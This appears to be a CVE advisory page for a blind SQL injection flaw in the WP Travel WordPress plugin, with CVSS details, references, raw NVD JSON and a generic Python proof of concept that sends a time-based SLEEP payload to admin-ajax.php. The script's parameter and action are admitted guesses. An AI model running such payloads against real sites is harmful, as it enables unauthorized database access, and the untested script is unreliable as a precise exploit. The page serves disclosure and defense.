CVE-2026-45218

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Travel WP Travel wp-travel allows Blind SQL Injection.This issue affects WP Travel: from n/a through <= 11.4.0.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Travel <= 11.4.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Proof of Concept for CVE-2026-45218 (Blind SQL Injection)
# Note: This is a generic example for educational purposes.

def check_sqli(url, cookie):
    # Payload for time-based blind injection
    # Checks if the database response time increases
    payload = "1' AND (SELECT SLEEP(5))-- -"
    
    # Target parameter might vary based on vulnerable endpoint
    params = {
        'trip_id': payload, 
        'action': 'wp_travel_ajax_action' # Example action
    }
    
    headers = {
        'Cookie': cookie
    }
    
    try:
        response = requests.get(url, params=params, headers=headers, timeout=10)
        if response.elapsed.total_seconds() >= 5:
            print("[+] Vulnerability confirmed: Database delay detected.")
        else:
            print("[-] Vulnerability not detected or payload incorrect.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    target_url = "http://target-site.com/wp-admin/admin-ajax.php"
    user_cookie = "wordpress_logged_in_xxx=..."
    check_sqli(target_url, user_cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45218
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45218
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45218/
[4] VulDB https://vuldb.com/cve/CVE-2026-45218
[5] https://patchstack.com/database/Wordpress/Plugin/wp-travel/vulnerability/wordpress-wp-travel-plugin-11-4-0-sql-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45218", "sourceIdentifier": "[email protected]", "published": "2026-05-12T11:16:21.100", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Travel WP Travel wp-travel allows Blind SQL Injection.This issue affects WP Travel: from n/a through <= 11.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-travel/vulnerability/wordpress-wp-travel-plugin-11-4-0-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}